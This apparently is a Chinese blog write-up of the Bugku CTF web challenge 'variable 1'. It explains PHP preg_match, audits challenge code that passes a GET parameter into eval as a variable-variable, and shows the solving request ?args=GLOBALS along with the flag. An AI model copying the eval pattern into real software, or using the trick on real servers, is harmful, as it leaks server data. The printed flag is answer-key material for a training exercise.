首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >【愚公系列】2023年06月 Bugku-Web(变量1)

【愚公系列】2023年06月 Bugku-Web(变量1)

作者头像
愚公搬代码
发布2025-05-28 15:06:18
发布2025-05-28 15:06:18
1220
举报
文章被收录于专栏:历史专栏历史专栏

前言

preg_match函数是PHP中用于正则表达式匹配的函数。它的语法如下:

代码语言:javascript
复制
preg_match($pattern, $subject, $matches);

其中,pattern表示需要匹配的正则表达式,subject表示需要被匹配的字符串,

matches是可选参数,如果存在,它将被填充为匹配到的结果数组。matches[0]包含整个正则表达式的匹配结果,

例如,如果要匹配一个字符串中是否包含数字,可以使用以下代码:

代码语言:javascript
复制
$string = 'abc123def';
if (preg_match('/\d+/', $string, $matches)) {
    echo 'Match found: '.$matches[0];
} else {
    echo 'No match found';
}

输出结果为:

代码语言:javascript
复制
Match found: 123

preg_match函数还有很多其他的用法,可以根据需要查看PHP官方文档。

一、变量1

1.题目

2.答题

代码语言:javascript
复制
flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

审计源码

代码语言:javascript
复制
flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";     引入flag1.php文件代码
highlight_file(__file__);    
if(isset($_GET['args'])){     // 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];       
    if(!preg_match("/^\w+$/",$args)){         // 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
        die("args error!");
    }
    eval("var_dump($$args);");    //此函数显示一个或多个表达式的信息,包括表达式的类型与值
}
?>
  • get型传参,args要满足正则匹配的内容
    • ^:匹配输入字符串的开始位置
    • \w:包含下划线的任意单词字符字符
    • +:匹配前面的子表达式一次或多次
    • $:匹配输入字符串的结束位置
  • isset: 用于检测变量是否已设置并且非 NULL。
  • prep_match: 用于执行一个正则表达式匹配。
  • error_reporting(0)关闭错误显示。
  • include “flag.php”页面包含flag.php页面。
  • highlight_file(file)页面进行语法高亮显示。

根据!preg_match("/^\w+

使用GLOBALS得到全部变量

代码语言:javascript
复制
http://114.67.175.224:13724/?args=GLOBALS

得到flag:flag{a2b1e8779b922f41eca71bafb2029390}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2025-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 一、变量1
    • 1.题目
    • 2.答题
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档